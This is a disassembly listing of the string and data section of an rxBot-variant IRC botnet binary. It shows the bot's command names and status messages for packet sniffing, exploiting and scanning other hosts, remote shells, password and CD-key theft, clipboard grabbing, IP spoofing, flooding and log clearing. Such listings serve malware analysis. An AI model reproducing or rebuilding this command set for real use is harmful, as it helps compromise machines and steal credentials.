aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B86C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42B8A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B8E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B914 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o
aAlreadyRunni_2 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o
; sub_401ACD+41C6o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do
align 10h
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o
align 10h
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o
align 10h
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo
aV: ; DATA XREF: sub_401ACD+3FCAo
; ___:00438304o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o
align 4
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo
align 10h
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o
; sub_401ACD+4644o
align 10h
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o
align 10h
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo
align 10h
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o
align 4
aO: ; DATA XREF: sub_401ACD+3E7Ao
; ___:00438634o
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o
; sub_401ACD+590Bo ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o
align 10h
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo
align 4
aJ: ; DATA XREF: sub_401ACD+3D54o
; ___:004382ECo ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Ao
; ___:0043830Co ...
unicode 0, <n>,0
unk_42BA0C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o
dword_42BA6C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AEFo
; sub_401ACD+3B26o
dd 0
dword_42BA84 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB8o
dd 1
dword_42BA9C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A81o
; sub_401ACD+3B98o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o
; sub_401ACD+39D3o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o
; sub_401ACD+3D15o
align 4
dword_42BAE4 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E8o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB0C dd 636364h ; DATA XREF: sub_401ACD+366Bo
dword_42BB10 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42BB1C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o
; sub_401ACD+3762o ...
dword_42BB24 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o
; sub_40ACB5+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o
; sub_401ACD+3578o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o
; sub_401ACD+3D69o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o
; sub_401ACD+354Co ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o
; sub_401ACD+3D3Fo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o
; sub_401ACD+48F1o
align 10h
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao
align 10h
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo
align 4
dword_42BB94 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EEo
dword_42BBA8 dd 7463h ; DATA XREF: sub_401ACD+329Fo
dword_42BBAC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
; sub_401ACD+38A8o ...
dword_42BBBC dd 5Fh ; DATA XREF: sub_401ACD+3253o
; sub_401ACD+32BFo ...
dword_42BBC0 dd 6D70h ; DATA XREF: sub_401ACD+3233o
; sub_401ACD+487Eo
unk_42BBC4 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42BC6C db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o
unk_42BCA4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42BCD0 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo
align 10h
unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o
; sub_401ACD+3F61o
unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42BD78 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42BDA4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do
unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42BE64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42BEA0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD1o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o
align 4
unk_42BED4 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BF14 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
dword_42BF40 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BFA4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o
dword_42BFB4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42BFC0 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42BFD0 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o
dword_42BFE0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A95o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
; sub_401ACD:loc_409778o ...
align 4
dword_42C014 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A73o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
; sub_401ACD+7A7Eo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
align 4
unk_42C064 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D8o
dd 2E7325h
unk_42C0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42C0E4 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Ao
dd 65726874h, 2E736461h, 0
dword_42C104 dd 627573h ; DATA XREF: sub_401ACD+2934o
dword_42C108 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E2o
dd 2E7473h
unk_42C120 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42C158 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2858o
dd 2E676Fh
dword_42C170 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B3o
dd 6F666E49h, 2Eh
dword_42C18C dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2784o
dd 2E6F666Eh, 0
dword_42C1A8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+272Fo
dd 746F4220h, 2Eh
unk_42C1C4 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42C200 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo
align 4
unk_42C224 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42C244 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o
aSearchComplete db '- Search completed.',0
dword_42C264 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25ADo
dd 2E7325h
unk_42C27C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42C29C db 2Dh ; - ; DATA XREF: sub_401ACD+2513o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42C2C4 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
dword_42C2F0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DEo
dd 72616F62h, 2E64h
dword_42C30C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B0o
dd 2Dh
unk_42C324 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 10h
unk_42C350 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C374 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 10h
unk_42C3A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C3CC db 2Dh ; - ; DATA XREF: sub_401ACD+2467o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_42C3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C468 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C4A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o
; sub_40BACD+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C4E0 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo
; sub_40BACD+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_42C550 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 10h
unk_42C570 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42C5A8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o
; sub_401ACD+5BEEo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o
; sub_401ACD+5BE7o
align 4
unk_42C664 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42C6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BFCo
; sub_401ACD+4FA1o
aAsn445 db 'asn445',0 ; DATA XREF: sub_401ACD+1BE7o
align 4
dword_42C754 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B97o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o
; sub_401ACD+1BD1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo
unk_42C7FC db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o
; sub_401ACD+3CAFo ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo
align 10h
unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o
dword_42C864 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Bo
dword_42C878 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo
dword_42C87C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C888 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o
align 10h
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o
align 10h
aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do
align 4
aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo
align 10h
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o
align 4
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo
; sub_401ACD+1804o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do
aT: ; DATA XREF: sub_401ACD+1708o
; ___:004382C0o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o
unk_42C948 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 10h
unk_42C970 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 10h
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o
align 4
aI: ; DATA XREF: sub_401ACD+168Co
; ___:004382CCo ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1677o
align 10h
aS_0: ; DATA XREF: sub_401ACD+1662o
; ___:004382D8o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do
align 4
aQ: ; DATA XREF: sub_401ACD+1638o
; ___:off_4382B0o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o
align 4
aR: ; DATA XREF: sub_401ACD+15E4o
; sub_401ACD+3DA8o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o
